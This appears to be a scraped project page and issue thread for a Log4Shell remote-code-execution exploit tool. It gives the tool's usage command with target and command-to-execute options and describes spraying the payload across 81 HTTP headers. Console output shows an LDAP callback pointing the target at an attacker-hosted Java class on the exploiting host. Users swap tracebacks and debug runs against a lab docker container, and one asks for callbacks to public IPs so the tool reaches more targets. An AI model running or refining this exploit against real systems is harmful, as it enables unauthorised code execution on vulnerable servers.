Log4Shell RCE Exploit - fully independent exploit does not require any 3rd party binaries.
fully independent exploit does not require any 3rd party binaries.
The exploit spraying the payload to all possible logged HTTP Headers such as X-Forwarding , Server-IP , User-Agent
python main.py -i lhost -u http://target:targetport -c "command_to_execute" -p lhttp_port -l lldap_port
[] Started http server on 9999
[] Started LDAP server on 1389
[*] Spraying 81 known HTTP Header
Traceback (most recent call last):
File "main.py", line 243, in
main()
File "main.py", line 240, in main
get_a_life(target_options)
File "main.py", line 199, in get_a_life
spray_headers(target_options,command,args)
File "main.py", line 128, in spray_headers
go_clutch(url=url,method=request_method,data=None,headers=additionalrequest_headers)
File "main.py", line 51, in go_clutch
request_data.update(data)
TypeError: 'NoneType' object is not iterable
What's the problem ? :/
File "main.py", line 243, in
main()
File "main.py", line 240, in main
get_a_life(target_options)
File "main.py", line 199, in get_a_life
spray_headers(target_options,command,args)
File "main.py", line 128, in spray_headers
go_clutch(url=url,method=request_method,data=None,headers=additionalrequest_headers)
File "main.py", line 50, in go_clutch
request_data.update(data)
I can't reproduce it, what's the vulnerable docker container that you used?
The exploit currently only works if the target can reach the exploiting host's private IP. The exploit needs an option to allow callbacks to a public IP or DNS name that resolves back to a public IP that NATs back to the private IP.
Having used #2 I still can't see file creation:
The exploit seems to have been applied:
python3 main.py -i 172.17.0.1 -u http://172.17.0.3:8080 -c "touch foobar" -p9999
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Log4Shell Exploit (Cyber Struggle Delta Group) via @safe_buffer
[*] Started http server on 9999
[*] Started LDAP server on 1389
[*] Spraying 81 known HTTP Header
okeeje
[+] LDAP Callback sending [('javaClassName', ['Main']), ('objectClass', ['javaNamingReference']), ('javaCodeBase', ['http://172.17.0.1:9999/']), ('javaFactory', ['Main'])]
[+] Redirecting to http://172.17.0.1:9999/Main touch foobar
New HTTP Request 200
[+] Sent the final payload your command has been executed right now
okeeje
[+] LDAP Callback sending [('javaClassName', ['Main']), ('objectClass', ['javaNamingReference']), ('javaCodeBase', ['http://172.17.0.1:9999/']), ('javaFactory', ['Main'])]
[+] Redirecting to http://172.17.0.1:9999/Main touch foobar
And in the 'vulnerable-app' container;
2021-12-15 22:07:41.325 INFO 1 --- [nio-8080-exec-5] HelloWorld : Received a request for API version Log4Shell-CS Reference Class Name: Main
But I can't see any file foobar in the container:
docker exec -ti vulnerable-app sh
/ # ls /tmp
hsperfdata_root tomcat-docbase.8080.4676561178698547045 tomcat.8080.7851898943690850285
/ #
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